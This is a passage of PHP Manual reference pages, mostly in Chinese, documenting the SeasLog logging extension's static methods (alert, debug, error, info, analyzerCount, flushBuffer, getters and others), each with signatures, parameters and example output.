  • SeasLog::setRequestVariable — Manually set SeasLog request variable
  • SeasLog::warning — Record warning log information

User Contributed Notes

There are no user contributed notes for this page.


记录 alert 日志

  • ? SeasLog
  • SeasLog::analyzerCount ?
  • PHP Manual
  • SeasLog
  • 记录 alert 日志

SeasLog::alert

(PECL seaslog >=1.0.0)

SeasLog::alert — 记录 alert 日志

说明

public static SeasLog::alert(string $message, array $content = ?, string $logger = ?): bool

记录 alert 日志

Note:

"ALERT"——必须立即采取行动的紧急事件 需要立即通知相关人员紧急修复。

参数

message

日志的消息

content

`message` 包含占位符，实现用 content 数组中的值替换这些占位符。 例如 `message` 是 `log info from {NAME}`，`content` 是 `array('NAME' => neeke)`， 日志信息是 `log info from neeke`。

logger

当函数调用 SeasLog::setLogger() 时，就像临时 logger 一样，在第三个参数中使用这个 `logger`。 如果 `logger` 为 NULL 或 ""，那么 SeasLog 将使用由 SeasLog::setLogger() 设置的最新日志记录程序。

返回值

记录日志信息成功返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::alert() 示例

<?php

var_dump(SeasLog::alert('log message'));

//with content
var_dump(SeasLog::alert('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::alert('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | ALERT | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | ALERT | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | ALERT | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参见

  • seaslog.default_template
  • SeasLog::debug() - 记录 debug 日志
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - 记录 notice 日志
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - 记录 error 日志
  • SeasLog::critical() - 记录 critical 日志
  • SeasLog::emergency() - 记录 emergency 日志
  • SeasLog::log() - 公共的日志记录函数

User Contributed Notes

There are no user contributed notes for this page.


Get log count by level, log_path and key_word

  • ? SeasLog::alert
  • SeasLog::analyzerDetail ?
  • PHP Manual
  • SeasLog
  • Get log count by level, log_path and key_word

SeasLog::analyzerCount

(PECL seaslog >=1.1.6)

SeasLog::analyzerCount — Get log count by level, log_path and key_word

说明

public static SeasLog::analyzerCount(string $level, string $log_path = ?, string $key_word = ?): mixed

`SeasLog` get count value of `grep -ai '{level}' | grep -aic '{key_word}'` use system pipe and return to PHP (array or int).

参数

level

String. The log information level.

log_path

String. The log information path.

key_word

String. The search key word for log information.

返回值

If `level` is SEASLOG_ALL or Empty, return all levels count as `array`. If `level` is SEASLOG_INFO or the other level, return count as `int`.

示例

Example #1 SeasLog::analyzerCount() example

<?php

$countResult1 = SeasLog::analyzerCount();

//with `level`
$countResult2 = SeasLog::analyzerCount(SEASLOG_DEBUG);

//with `level` and `log_path`
$countResult3 = SeasLog::analyzerCount(SEASLOG_ERROR,date('Ymd',time()));

//with `level` and `key_word`
$countResult4 = SeasLog::analyzerCount(SEASLOG_DEBUG,NULL,'accessToken');

var_dump($countResult1,$countResult2,$countResult3,$countResult4);

?>

以上示例的输出类似于：

array(8) {
  ["DEBUG"]=>
  int(180)
  ["INFO"]=>
  int(214)
  ["NOTICE"]=>
  int(0)
  ["WARNING"]=>
  int(0)
  ["ERROR"]=>
  int(228)
  ["CRITICAL"]=>
  int(244)
  ["ALERT"]=>
  int(1)
  ["EMERGENCY"]=>
  int(0)
}

int(180)

int(228)

int(29)

参见

  • SeasLog::analyzerDetail() - Get log detail by level, log_path, key_word, start, limit, order

User Contributed Notes

There are no user contributed notes for this page.


Get log detail by level, log_path, key_word, start, limit, order

  • ? SeasLog::analyzerCount
  • SeasLog::closeLoggerStream ?
  • PHP Manual
  • SeasLog
  • Get log detail by level, log_path, key_word, start, limit, order

SeasLog::analyzerDetail

(PECL seaslog >=1.1.6)

SeasLog::analyzerDetail — Get log detail by level, log_path, key_word, start, limit, order

说明

public static SeasLog::analyzerDetail(
string $level,
string $log_path = ?,
string $key_word = ?,
int $start = ?,
int $limit = ?,
int $order = ?
): mixed

`SeasLog` get results of `grep -ai '{level}' | grep -ai '{key_word}' | sed -n '{start},{limit}'p` use system pipe and return array to PHP.

参数

level

String. The log information level.

log_path

String. The log information path.

key_word

String. The search key word for log information.

start

Int. Default is `1`.

limit

Int. Default is `20`.

order

Int. Default is SEASLOG_DETAIL_ORDER_ASC. See also:

  • SEASLOG_DETAIL_ORDER_ASC
  • SEASLOG_DETAIL_ORDER_DESC

返回值

Return results as array.

Note:

When `start`,`limit` is not NULL and in Windows, SeasLog will threw exception with message 'Param start and limit don't support Windows'.

示例

Example #1 SeasLog::analyzerDetail() example

<?php

$result1 = SeasLog::analyzerDetail(SEASLOG_ERROR);

//with `logger` and `key_word`
$result2 = SeasLog::analyzerDetail(SEASLOG_ERROR,'test/logger/','neeke');

//with `start` and `limit`
$result3 = SeasLog::analyzerDetail(SEASLOG_ERROR,'test/logger/','neeke',1,2);

var_dump($result1,$result2,$result3);
?>

以上示例的输出类似于：

array(20) {
  [0]=>
  string(93) "2018-07-09 12:52:53 | ERROR | 12247 | 5b42ea2580e51 | 1531111973.528 | log message from neeke"
  [1]=>
  string(93) "2018-07-09 12:52:54 | ERROR | 12256 | 5b42ea26d6657 | 1531111974.878 | log message from neeke"
  [2]=>
  string(93) "2018-07-09 12:52:55 | ERROR | 12265 | 5b42ea277b8d4 | 1531111975.506 | log message from neeke"
  [3]=>
  string(104) "2018-07-09 12:52:55 | ERROR | 12274 | 5b42ea27db5dc | 1531111975.898 | log message from the other people"
...
}

array(3) {
  [0]=>
  string(93) "2018-07-09 12:52:53 | ERROR | 12247 | 5b42ea2580e51 | 1531111973.528 | log message from neeke"
  [1]=>
  string(93) "2018-07-09 12:52:54 | ERROR | 12256 | 5b42ea26d6657 | 1531111974.878 | log message from neeke"
  [2]=>
  string(93) "2018-07-09 12:52:55 | ERROR | 12265 | 5b42ea277b8d4 | 1531111975.506 | log message from neeke"
}

array(2) {
  [0]=>
  string(93) "2018-07-09 12:52:53 | ERROR | 12247 | 5b42ea2580e51 | 1531111973.528 | log message from neeke"
  [1]=>
  string(93) "2018-07-09 12:52:54 | ERROR | 12256 | 5b42ea26d6657 | 1531111974.878 | log message from neeke"
}

参见

  • SeasLog::analyzerCount() - Get log count by level, log_path and key_word

User Contributed Notes

There are no user contributed notes for this page.


Manually release stream flow from logger

  • ? SeasLog::analyzerDetail
  • SeasLog::__construct ?
  • PHP Manual
  • SeasLog
  • Manually release stream flow from logger

SeasLog::closeLoggerStream

(PECL seaslog >=1.8.6)

SeasLog::closeLoggerStream — Manually release stream flow from logger

说明

public static SeasLog::closeLoggerStream(int $model, string $logger): bool

Manually release stream flow from logger. SeasLog caches the stream handle opened by the log logger to save the overhead of creating a stream. The handle will be automatically released at the end of the request. If in CLI mode, the process will also automatically release when it exits. Or you can use the following functions to manually release(manually release function needs to update SeasLog 1.8.6 or updated version).

参数

model

Constant int.

  • SEASLOG_CLOSE_LOGGER_STREAM_MOD_ALL
  • SEASLOG_CLOSE_LOGGER_STREAM_MOD_ASSIGN

logger

The logger name.

返回值

Return TRUE on released stream flow success, FALSE on failure.

示例

Example #1 SeasLog::closeLoggerStream() example

<?php

var_dump(SeasLog::closeLoggerStream());
var_dump(SeasLog::closeLoggerStream(SEASLOG_CLOSE_LOGGER_STREAM_MOD_ALL));
var_dump(SeasLog::closeLoggerStream(SEASLOG_CLOSE_LOGGER_STREAM_MOD_ASSIGN, 'logger_name'));

?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)

参见

  • SeasLog::setLogger() - 设置 SeasLog 的 Logger 名
  • SeasLog::getLastLogger() - 获得 SeasLog 最近的一次 Logger 名称

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? SeasLog::closeLoggerStream
  • SeasLog::critical ?
  • PHP Manual
  • SeasLog
  • Description

SeasLog::__construct

(PECL seaslog >=1.0.0)

SeasLog::__construct — Description

说明

public SeasLog::__construct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

示例

Example #1 SeasLog::__construct() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


记录 critical 日志

  • ? SeasLog::__construct
  • SeasLog::debug ?
  • PHP Manual
  • SeasLog
  • 记录 critical 日志

SeasLog::critical

(PECL seaslog >=1.0.0)

SeasLog::critical — 记录 critical 日志

说明

public static SeasLog::critical(string $message, array $content = ?, string $logger = ?): bool

记录 critical 日志

Note:

"CRITICAL"——紧急情况、需要立刻进行修复、程序组件不可用

参数

message

日志的消息

content

`message` 包含占位符，实现用 content 数组中的值替换这些占位符。 例如 `message` 是 `log info from {NAME}`，`content` 是 `array('NAME' => neeke)`， 日志信息是 `log info from neeke`。

logger

当函数调用 SeasLog::setLogger() 时，就像临时 logger 一样，在第三个参数中使用这个 `logger`。 如果 `logger` 为 NULL 或 ""，那么 SeasLog 将使用由 SeasLog::setLogger() 设置的最新日志记录程序。

返回值

记录日志信息成功返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::critical() 示例

<?php

var_dump(SeasLog::critical('log message'));

//with content
var_dump(SeasLog::critical('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::critical('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | CRITICAL | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | CRITICAL | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | CRITICAL | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参见

  • seaslog.default_template
  • SeasLog::debug() - 记录 debug 日志
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - 记录 notice 日志
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - 记录 error 日志
  • SeasLog::alert() - 记录 alert 日志
  • SeasLog::emergency() - 记录 emergency 日志
  • SeasLog::log() - 公共的日志记录函数

User Contributed Notes

There are no user contributed notes for this page.


记录 debug 日志

  • ? SeasLog::critical
  • SeasLog::__destruct ?
  • PHP Manual
  • SeasLog
  • 记录 debug 日志

SeasLog::debug

(PECL seaslog >=1.0.0)

SeasLog::debug — 记录 debug 日志

说明

public static SeasLog::debug(string $message, array $content = ?, string $logger = ?): bool

记录debug日志

Note:

"DEBUG"——debug 信息、细粒度信息事件

参数

message

日志的消息

content

`message` 包含占位符，实现用 content 数组中的值替换这些占位符。 例如 `message` 是 `log info from {NAME}`，`content` 是 `array('NAME' => neeke)`， 日志信息是 `log info from neeke`。

logger

当函数调用 SeasLog::setLogger() 时，就像临时 logger 一样，在第三个参数中使用这个 `logger`。 如果 `logger` 为 NULL 或 ""，那么 SeasLog 将使用由 SeasLog::setLogger() 设置的最新日志记录程序。

返回值

记录日志信息成功返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::debug() 示例

<?php

var_dump(SeasLog::debug('log message'));

//with content
var_dump(SeasLog::debug('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::debug('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | DEBUG | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | DEBUG | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | DEBUG | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参见

  • seaslog.default_template
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - 记录 notice 日志
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - 记录 error 日志
  • SeasLog::critical() - 记录 critical 日志
  • SeasLog::alert() - 记录 alert 日志
  • SeasLog::emergency() - 记录 emergency 日志
  • SeasLog::log() - 公共的日志记录函数

User Contributed Notes

There are no user contributed notes for this page.


Description

  • ? SeasLog::debug
  • SeasLog::emergency ?
  • PHP Manual
  • SeasLog
  • Description

SeasLog::__destruct

(PECL seaslog >=1.0.0)

SeasLog::__destruct — Description

说明

public SeasLog::__destruct()

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

示例

Example #1 SeasLog::__destruct() example

<?php

/* ... */

?>

以上示例的输出类似于：

...

User Contributed Notes

There are no user contributed notes for this page.


记录 emergency 日志

  • ? SeasLog::__destruct
  • SeasLog::error ?
  • PHP Manual
  • SeasLog
  • 记录 emergency 日志

SeasLog::emergency

(PECL seaslog >=1.0.0)

SeasLog::emergency — 记录 emergency 日志

说明

public static SeasLog::emergency(string $message, array $content = ?, string $logger = ?): bool

记录 emergency 日志

Note:

"EMERGENCY"——系统不可用。

参数

message

日志的消息

content

`message` 包含占位符，实现用 content 数组中的值替换这些占位符。 例如 `message` 是 `log info from {NAME}`，`content` 是 `array('NAME' => neeke)`， 日志信息是 `log info from neeke`。

logger

当函数调用 SeasLog::setLogger() 时，就像临时 logger 一样，在第三个参数中使用这个 `logger`。 如果 `logger` 为 NULL 或 ""，那么 SeasLog 将使用由 SeasLog::setLogger() 设置的最新日志记录程序。

返回值

记录日志信息成功返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::emergency() 示例

<?php

var_dump(SeasLog::emergency('log message'));

//with content
var_dump(SeasLog::emergency('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::emergency('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | EMERGENCY | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | EMERGENCY | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | EMERGENCY | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参见

  • seaslog.default_template
  • SeasLog::debug() - 记录 debug 日志
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - 记录 notice 日志
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - 记录 error 日志
  • SeasLog::critical() - 记录 critical 日志
  • SeasLog::alert() - 记录 alert 日志
  • SeasLog::log() - 公共的日志记录函数

User Contributed Notes

There are no user contributed notes for this page.


记录 error 日志

  • ? SeasLog::emergency
  • SeasLog::flushBuffer ?
  • PHP Manual
  • SeasLog
  • 记录 error 日志

SeasLog::error

(PECL seaslog >=1.0.0)

SeasLog::error — 记录 error 日志

说明

public static SeasLog::error(string $message, array $content = ?, string $logger = ?): bool

记录 error 日志

Note:

"ERROR"——运行时出现的错误、不必要立即进行修复、不影响整个逻辑的运行、需要记录并做检测

参数

message

日志的消息

content

`message` 包含占位符，实现用 content 数组中的值替换这些占位符。 例如 `message` 是 `log info from {NAME}`，`content` 是 `array('NAME' => neeke)`， 日志信息是 `log info from neeke`。

logger

当函数调用 SeasLog::setLogger() 时，就像临时 logger 一样，在第三个参数中使用这个 `logger`。 如果 `logger` 为 NULL 或 ""，那么 SeasLog 将使用由 SeasLog::setLogger() 设置的最新日志记录程序。

返回值

记录日志信息成功返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::error() 示例

<?php

var_dump(SeasLog::error('log message'));

//with content
var_dump(SeasLog::error('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::error('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | ERROR | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | ERROR | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | ERROR | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参见

  • seaslog.default_template
  • SeasLog::debug() - 记录 debug 日志
  • SeasLog::info() - Record info log information
  • SeasLog::notice() - 记录 notice 日志
  • SeasLog::warning() - Record warning log information
  • SeasLog::critical() - 记录 critical 日志
  • SeasLog::alert() - 记录 alert 日志
  • SeasLog::emergency() - 记录 emergency 日志
  • SeasLog::log() - 公共的日志记录函数

User Contributed Notes

There are no user contributed notes for this page.


将日志缓存刷新到介质中，文件介质，或者发送到远端的 TCP/UDP 服务地址

  • ? SeasLog::error
  • SeasLog::getBasePath ?
  • PHP Manual
  • SeasLog
  • 将日志缓存刷新到介质中，文件介质，或者发送到远端的 TCP/UDP 服务地址

SeasLog::flushBuffer

(PECL seaslog >=1.0.0)

SeasLog::flushBuffer — 将日志缓存刷新到介质中，文件介质，或者发送到远端的 TCP/UDP 服务地址

说明

public static SeasLog::flushBuffer(): bool

将日志缓存按照 seaslog.appender 刷新到介质： 文件介质，或发送到远端的 TCP/UDP 服务地址。

Note:

同时请留意： seaslog.appender_retry seaslog.remote_host seaslog.remote_port

参数

此函数没有参数。

返回值

刷新成功返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::flushBuffer() 示例

<?php

SeasLog::info('info log');
SeasLog::debug('debug log');
var_dump(SeasLog::getBuffer());
var_dump(SeasLog::flushBuffer());
var_dump(SeasLog::getBuffer());

?>

以上示例的输出类似于：

array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(79) "2018-07-07 10:47:58 | INFO | 71910 | 5b4029ded6009 | 1530931678.877 | info log
"
    [1]=>
    string(81) "2018-07-07 10:47:58 | DEBUG | 71910 | 5b4029ded6009 | 1530931678.877 | debug log
"
  }
}
bool(true)
array(0) {
}

参见

  • seaslog.use_buffer
  • seaslog.buffer_size
  • seaslog.buffer_disabled_in_cli
  • SeasLog::getBufferEnabled() - Determin if buffer enabled
  • SeasLog::getBuffer() - 获取内存中的日志缓存数组

User Contributed Notes

There are no user contributed notes for this page.


获得 SeasLog 根目录

  • ? SeasLog::flushBuffer
  • SeasLog::getBuffer ?
  • PHP Manual
  • SeasLog
  • 获得 SeasLog 根目录

SeasLog::getBasePath

(PECL seaslog >=1.0.0)

SeasLog::getBasePath — 获得 SeasLog 根目录

说明

public static Seaslog::getBasePath(): string

使用函数 SeasLog::getBasePath() 可以获得在 php.ini(seaslog.ini) 中设置的seaslog.default_basepath。

如果使用函数 Seaslog::setBasePath()，将改变函数取值。

参数

此函数没有参数。

返回值

seaslog.default_basepath 作为字符串返回。

示例

Example #1 SeasLog::getBasePath() 示例

<?php

var_dump(SeasLog::getBasePath());

?>

以上示例的输出类似于：

string(12) "/var/log/www"

User Contributed Notes

There are no user contributed notes for this page.


获取内存中的日志缓存数组

  • ? SeasLog::getBasePath
  • SeasLog::getBufferEnabled ?
  • PHP Manual
  • SeasLog
  • 获取内存中的日志缓存数组

SeasLog::getBuffer

(PECL seaslog >=1.0.0)

SeasLog::getBuffer — 获取内存中的日志缓存数组

说明

public static SeasLog::getBuffer(): array

参数

此函数没有参数。

返回值

以 Array 形式返回内存中的日志缓存。

示例

Example #1 SeasLog::getBuffer() 示例

<?php

var_dump(SeasLog::info('info log'));
var_dump(SeasLog::debug('debug log'));
var_dump(SeasLog::getBuffer());

?>

以上示例的输出类似于：

bool(true)
bool(true)
array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(79) "2018-07-07 10:43:32 | INFO | 71785 | 5b4028d4c58d5 | 1530931412.810 | info log
"
    [1]=>
    string(81) "2018-07-07 10:43:32 | DEBUG | 71785 | 5b4028d4c58d5 | 1530931412.810 | debug log
"
  }
}

参见

  • seaslog.use_buffer
  • seaslog.buffer_size
  • seaslog.buffer_disabled_in_cli
  • SeasLog::getBufferEnabled() - Determin if buffer enabled
  • SeasLog::flushBuffer() - 将日志缓存刷新到介质中，文件介质，或者发送到远端的 TCP/UDP 服务地址

User Contributed Notes

There are no user contributed notes for this page.


Determin if buffer enabled

  • ? SeasLog::getBuffer
  • SeasLog::getDatetimeFormat ?
  • PHP Manual
  • SeasLog
  • Determin if buffer enabled

SeasLog::getBufferEnabled

(PECL seaslog >=1.0.0)

SeasLog::getBufferEnabled — Determin if buffer enabled

说明

public static SeasLog::getBufferEnabled(): bool

Result join seaslog.use_buffer and seaslog.buffer_disabled_in_cli.

参数

此函数没有参数。

返回值

Return TRUE on seaslog.use_buffer is true. If switch seaslog.buffer_disabled_in_cli on, and running in cli, seaslog.use_buffer setting will be discarded, Seaslog write to the Data Store IMMEDIATELY.

示例

Example #1 SeasLog::getBufferEnabled() example

<?php

var_dump(SeasLog::getBufferEnabled());

?>

以上示例的输出类似于：

bool(false)

参见

  • seaslog.use_buffer
  • seaslog.buffer_size
  • seaslog.buffer_disabled_in_cli
  • SeasLog::getBuffer() - 获取内存中的日志缓存数组
  • SeasLog::flushBuffer() - 将日志缓存刷新到介质中，文件介质，或者发送到远端的 TCP/UDP 服务地址

User Contributed Notes

There are no user contributed notes for this page.


获取 SeasLog 日期格式

  • ? SeasLog::getBufferEnabled
  • SeasLog::getLastLogger ?
  • PHP Manual
  • SeasLog
  • 获取 SeasLog 日期格式

SeasLog::getDatetimeFormat

(PECL seaslog >=1.0.0)

SeasLog::getDatetimeFormat — 获取 SeasLog 日期格式

说明

public static SeasLog::getDatetimeFormat(): string

获取 SeasLog 日期格式。 使用函数 SeasLog::getDatetimeFormat() 将获取 php.ini(seaslog.ini) 配置的 seaslog.default_datetime_format 值。

参数

此函数没有参数。

返回值

获取 SeasLog 配置中的 seaslog.default_datetime_format 值。 使用函数 SeasLog::setDatetimeFormat() 将改变本函数的取值。

示例

Example #1 SeasLog::getDatetimeFormat() 示例

<?php

var_dump(SeasLog::getDateTimeFormat());
var_dump(SeasLog::setDateTimeFormat('Ymd His'));
var_dump(SeasLog::getDateTimeFormat());

?>

以上示例的输出类似于：

string(11) "Y-m-d H:i:s"
bool(true)
string(7) "Ymd His"

参见

  • SeasLog::setDatetimeFormat() - 设置 SeasLog 日期格式

User Contributed Notes

There are no user contributed notes for this page.


获得 SeasLog 最近的一次 Logger 名称

  • ? SeasLog::getDatetimeFormat
  • SeasLog::getRequestID ?
  • PHP Manual
  • SeasLog
  • 获得 SeasLog 最近的一次 Logger 名称

SeasLog::getLastLogger

(PECL seaslog >=1.0.0)

SeasLog::getLastLogger — 获得 SeasLog 最近的一次 Logger 名称

说明

public static SeasLog::getLastLogger(): string

使用函数 SeasLog::getLastLogger() 将获取 php.ini(seaslog.ini) 中配置的 seaslog.default_logger 值。

参数

此函数没有参数。

返回值

使用函数 SeasLog::setLogger() 将改变函数 SeasLog::getLastLogger() 的取值。

示例

Example #1 SeasLog::getLastLogger() 示例

<?php

var_dump(SeasLog::getLastLogger());
SeasLog::setLogger('theNewLogger');
var_dump(SeasLog::getLastLogger());
?>

以上示例的输出类似于：

string(7) "default"
string(12) "theNewLogger"

参见

  • SeasLog::setLogger() - 设置 SeasLog 的 Logger 名

User Contributed Notes

There are no user contributed notes for this page.


获得当前 SeasLog 中用于区分请求的 request_id

  • ? SeasLog::getLastLogger
  • SeasLog::getRequestVariable ?
  • PHP Manual
  • SeasLog
  • 获得当前 SeasLog 中用于区分请求的 request_id

SeasLog::getRequestID

(PECL seaslog >=1.0.0)

SeasLog::getRequestID — 获得当前 SeasLog 中用于区分请求的 request_id

说明

public static SeasLog::getRequestID(): string

为了区分一个独立的请求，如果没有调用函数 SeasLog::setRequestId() 进行指定，SeasLog 将会在请求初始化时，使用内置函数 `static char *get_uniqid ()` 生成一个 unique 值。

参数

此函数没有参数。

返回值

返回一个由内置函数 `static char *get_uniqid ()` 生成或由用户调用函数 SeasLog::setRequestId() 指定的字符串。

示例

Example #1 SeasLog::getRequestID() 示例

<?php

var_dump(SeasLog::getRequestID());
var_dump(SeasLog::setRequestID('reqeust_id_test_'.time()));
var_dump(SeasLog::getRequestID());

?>

以上示例的输出类似于：

string(13) "5b3f21a209519"
bool(true)
string(26) "reqeust_id_test_1530864034"

参见

  • SeasLog::setRequestID() - 设置可以由 SeasLog 用于区分请求的 request_id
  • 在 Seaslog 默认变量表中的 `%Q` seaslog.configuration.html#ini.seaslog.default-template

User Contributed Notes

There are no user contributed notes for this page.


Get SeasLog request variable

  • ? SeasLog::getRequestID
  • SeasLog::info ?
  • PHP Manual
  • SeasLog
  • Get SeasLog request variable

SeasLog::getRequestVariable

(PECL seaslog >=1.9.0)

SeasLog::getRequestVariable — Get SeasLog request variable

说明

public static SeasLog::getRequestVariable(int $key): bool

Get SeasLog request variable.

参数

key

Constant int.

  • SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT
  • SEASLOG_REQUEST_VARIABLE_REQUEST_URI
  • SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD
  • SEASLOG_REQUEST_VARIABLE_CLIENT_IP

返回值

Return request variable value on set success.

示例

Example #1 SeasLog::getRequestVariable() example

<?php

$sDomainPort = 'domain:port';
$sRequestUri = 'uri';
$sRequestMethod = 'method';
$sClientIp = 'client_ip';

$iErrorKey = 1000;

$oSeasLog = new SeasLog();

var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT, $sDomainPort));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_URI, $sRequestUri));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD, $sRequestMethod));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_CLIENT_IP, $sClientIp));

var_dump($oSeasLog->setRequestVariable($iErrorKey,NULL));

var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT) == $sDomainPort);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_URI) == $sRequestUri);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD) == $sRequestMethod);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_CLIENT_IP) == $sClientIp);

var_dump($oSeasLog->getRequestVariable($iErrorKey));

?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)
bool(false)

参见

  • SeasLog::setRequestVariable() - Manually set SeasLog request variable

User Contributed Notes

There are no user contributed notes for this page.


Record info log information

  • ? SeasLog::getRequestVariable
  • SeasLog::log ?
  • PHP Manual
  • SeasLog
  • Record info log information

SeasLog::info

(PECL seaslog >=1.0.0)

SeasLog::info — Record info log information

说明

public static SeasLog::info(string $message, array $content = ?, string $logger = ?): bool

记录 info 日志

Note:

"INFO"——重要事件、强调应用程序的运行过程。

参数

message

日志消息。

content

`message` 包含占位符，实现用 content 数组中的值替换这些占位符。 例如 `message` 是 `log info from {NAME}`，`content` 是 `array('NAME' => neeke)`， 日志信息是 `log info from neeke`。

logger

当函数调用 SeasLog::setLogger() 时，就像临时 logger 一样，在第三个参数中使用这个 `logger`。 如果 `logger` 为 NULL 或 ""，那么 SeasLog 将使用由 SeasLog::setLogger() 设置的最新日志记录程序。

返回值

记录日志信息成功返回 TRUE，失败返回 FALSE。

示例

Example #1 SeasLog::info() 示例

<?php

var_dump(SeasLog::info('log message'));

//with content
var_dump(SeasLog::info('log message from {NAME}',array('NAME' => 'neeke')));

//with tmp logger
var_dump(SeasLog::info('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

以上示例的输出类似于：

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | INFO | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | INFO | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | INFO | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

参见

  • seaslog.default_template
  • SeasLog::debug() - 记录 debug 日志
  • SeasLog::notice() - 记录 notice 日志
  • SeasLog::warning() - Record warning log information
  • SeasLog::error() - 记录 error 日志
  • SeasLog::critical() - 记录 critical 日志
